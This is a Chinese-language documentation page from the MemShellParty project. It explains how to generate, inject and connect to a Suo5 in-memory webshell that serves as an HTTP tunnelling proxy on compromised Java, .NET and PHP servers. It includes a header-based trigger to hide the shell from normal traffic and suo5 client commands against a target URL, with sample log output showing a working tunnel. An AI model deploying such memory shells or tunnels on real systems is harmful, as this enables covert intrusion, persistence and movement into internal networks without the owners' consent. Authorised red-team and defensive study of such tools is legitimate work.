MemShellParty

Suo5

Suo5 是一款久经实战检验的高性能 HTTP 正向代理工具,持续打磨只为解决一个需求:不出网场景下的稳定正向代理。

experience

Suo5 v2 版本主要特性

  • 优异的传输性能
    • 全双工:借助双向 Chunked-Encoding 实现单连接双向通信,传输性能接近 FRP
    • 半双工:下行长连接 + 上行短连接实现,在 Nginx 反代场景下仍可保持良好性能
    • 短链接:上下行均使用短连接,适配多层反代和严格限制长连接的场景,作为兜底方案
  • 良好的服务端兼容性
    • Java 支持 Tomcat、WebLogic、JBoss、Resin 等主流中间件,JDK6 ~ JDK 2x 全版本支持
    • .Net 支持 IIS 下所有 .Net Framework 版本 (>=2.0)
    • PHP 支持 Nginx/Apache 等服务器环境,PHP 5.6 ~ PHP 8.x 全版本支持
  • 复杂网络环境支持
    • 支持一层、两层、多层反向代理下的稳定连接
    • 支持通过流量转发和请求重试来支持负载均衡场景
    • 支持配置上游代理(HTTP/SOCKS5)
  • 稳定可靠的工程实现
    • 正确可靠的连接控制、并发管理、心跳保活、异常重连等
    • 完善的单元测试和集成测试保障质量

使用步骤

选择 Suo5/Suo5v2 内存马工具

Suo5 目前有 1.x 版本和 2.x 版本,由于改动较大,因此做了两个不同的版本适配。

suo5_tool_select

设置流量入口特征

为了防止正常业务进入 Suo5 内存马影响到正常业务,需要指定流量特征进入 Suo5 内存马逻辑处理,此处使用特定请求头和请求值来标识,默认情况下是 User-Agent,请求值会随机生成

suo5_config

生成并注入

选取合适的打包方式,并进行内存马的注入。

连接与使用

zema1/suo5/releases 下载合适的 suo5 客户端

  1. 如果请求头使用默认的 User-Agent,则直接通过 --ua "xXksjas" 来指定即可,假设生成的为 User-Agent: xXksjas,则通过以下命令进行连接
$ ./suo5 -t http://target.com/suo5.jsp --ua "xXksjas"
...
[INFO] 14:28 connecting to target http://target.com/suo5.jsp
[INFO] 14:28 preferred connection mode: half
[INFO] 14:28 handshake success, using session id 05q21upecl90yccl
[INFO] 14:28 suo5 is going to work on half mode
[INFO] 14:28 starting tunnel at 127.0.0.1:1111
[INFO] 14:28 creating a test connection to the remote target
[INFO] 14:28 start connection to 127.0.0.1:0
[INFO] 14:28 successfully connected to 127.0.0.1:0
[INFO] 14:28 connection closed, 127.0.0.1:0
[INFO] 14:28 congratulations! everything works fine
  1. 如果请求头使用其他,例如 Referer,则需要使用 -H "Referer: xXksjas" 来连接,例如
$ ./suo5 -t http://target.com/suo5.jsp -H "Referer: xXksjas"
...
[INFO] 14:28 connecting to target http://target.com/suo5.jsp
[INFO] 14:28 preferred connection mode: half
[INFO] 14:28 handshake success, using session id 05q21upecl90yccl
[INFO] 14:28 suo5 is going to work on half mode
[INFO] 14:28 starting tunnel at 127.0.0.1:1111
[INFO] 14:28 creating a test connection to the remote target
[INFO] 14:28 start connection to 127.0.0.1:0
[INFO] 14:28 successfully connected to 127.0.0.1:0
[INFO] 14:28 connection closed, 127.0.0.1:0
[INFO] 14:28 congratulations! everything works fine
  1. 后续的用法可参考官方仓库给出的 Suo5 使用指南

On this page